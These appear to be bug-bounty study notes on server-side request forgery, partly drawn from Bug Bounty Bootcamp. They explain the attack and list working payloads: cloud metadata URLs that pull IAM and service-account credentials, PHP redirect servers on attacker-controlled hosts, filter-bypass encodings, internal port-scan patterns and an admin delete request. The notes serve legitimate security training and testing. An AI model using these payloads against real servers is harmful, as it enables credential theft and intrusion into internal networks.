Server-Side Request Forgery: trick the server into making requests to internal/cloud resources.
dest, url, uri, path, document, folder, root, pg, style, pdf, template, php_path, doc, redirect, return, window
http://169.254.169.254/latest/meta-data/ # AWS metadata http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://metadata.google.internal/computeMetadata/v1/ http://localhost/ http://127.0.0.1/ http://[::1]/
Host a PHP redirect server locally and expose via ngrok:
<?php header("Location: ".$_GET['url']); ?>
php -S 0.0.0.0:8080 ngrok http 8080
The target's filter may only validate the input URL, not the final redirect destination. Submit your ngrok URL and redirect to http://169.254.169.254/.
If the target has an open redirect at /redirect?goto=, use it as the SSRF payload:
https://target.com/fetch?url=https://target.com/redirect?goto=http://169.254.169.254/
The server fetches its own open redirect, which bounces to the internal resource.
When you can't see the response, use a sleep-redirect to confirm SSRF:
<?php sleep(10); header("Location: http://169.254.169.254/"); ?>
A 10-second delay in the response confirms the server is following redirects to your controlled endpoint.
Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li
SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet.
Classic example – proxy service:
https://public.example.com/proxy?url=https://google.com (intended) https://public.example.com/proxy?url=https://admin.example.com (SSRF: fetches internal admin panel)
The request to admin.example.com originates from the trusted public server, not the attacker's machine, so internal firewall rules permit it.
Regular vs Blind SSRF: regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, but blind requires out-of-band confirmation.
Any feature that causes the server to fetch an external resource is a candidate:
Record each candidate endpoint:
Webhook: POST /webhook body: url=https://attacker.com File upload: POST /upload_from_url body: user_id=1234&url=https://attacker.com/img.jpeg Proxy: GET /proxy?url=https://google.com
Replace the URL value with common internal addresses:
localhost 127.0.0.1 0.0.0.0 192.168.0.1 10.0.0.1 169.254.169.254 (AWS instance metadata)
Examples:
POST /webhook url=https://192.168.0.1 POST /upload_profile_from_url user_id=1234&url=https://127.0.0.1:22
Regular SSRF: look for service banners or internal content in the HTTP response:
Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
A service banner in the error message confirms SSRF.
Blind SSRF: use out-of-band detection:
nc -lp 8080 and point payloads to your IP:8080
If the server only allows URLs from a specific domain (e.g., pics.example.com):
Open redirect chain: use an open redirect on the allowlisted domain to bounce to an internal address:
url=https://pics.example.com/123?redirect=127.0.0.1
@-sign trick (host confused as credentials):
url=https://pics.example.com@127.0.0.1
Directory trick (internal IP with allowlisted domain as path):
url=https://127.0.0.1/pics.example.com
Attacker redirect: make the server request a URL you control that redirects to the blocked internal address:
url=https://attacker.com/ssrf
Serve this PHP on attacker.com:
<?php header("location: http://127.0.0.1"); ?>
IPv6: blocklists for IPv4 often don't cover IPv6 equivalents:
url=http://[::1] (IPv6 localhost) url=http://[fc00::] (IPv6 private network)
Custom DNS: point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL.
Encoding variants of 127.0.0.1:
Hex: https://0x7f.0x0.0x0.0x1 Octal: https://0177.0.0.01 Dword: https://2130706433 URL: https://%6c%6f%63%61%6c%68%6f%73%74 (localhost) Mixed: https://0177.0.0.0x1
Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network:
url=https://10.0.0.1 -> 200 + Apache banner (host exists) url=https://10.0.0.2 -> 500 "Connection Failed" (no host) url=https://10.0.0.1:80 -> 200 (port open) url=https://10.0.0.1:11 -> 500 (port closed)
Use SSRFmap (https://github.com/swisskyrepo/SSRFmap/) to automate scanning.
If the target runs on AWS, query the metadata endpoint from the SSRF:
url=http://169.254.169.254/latest/meta-data/ url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME url=http://169.254.169.254/latest/dynamic/instance-identity/document/ url=http://169.254.169.254/latest/user-data/
These can leak IAM role credentials, S3 access tokens, and private IP addresses.
APIv1 requires special headers (Metadata-Flavor: Google) but v1beta1 does not:
url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token url=http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys
Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances.
url=https://admin.example.com/delete_user?user=1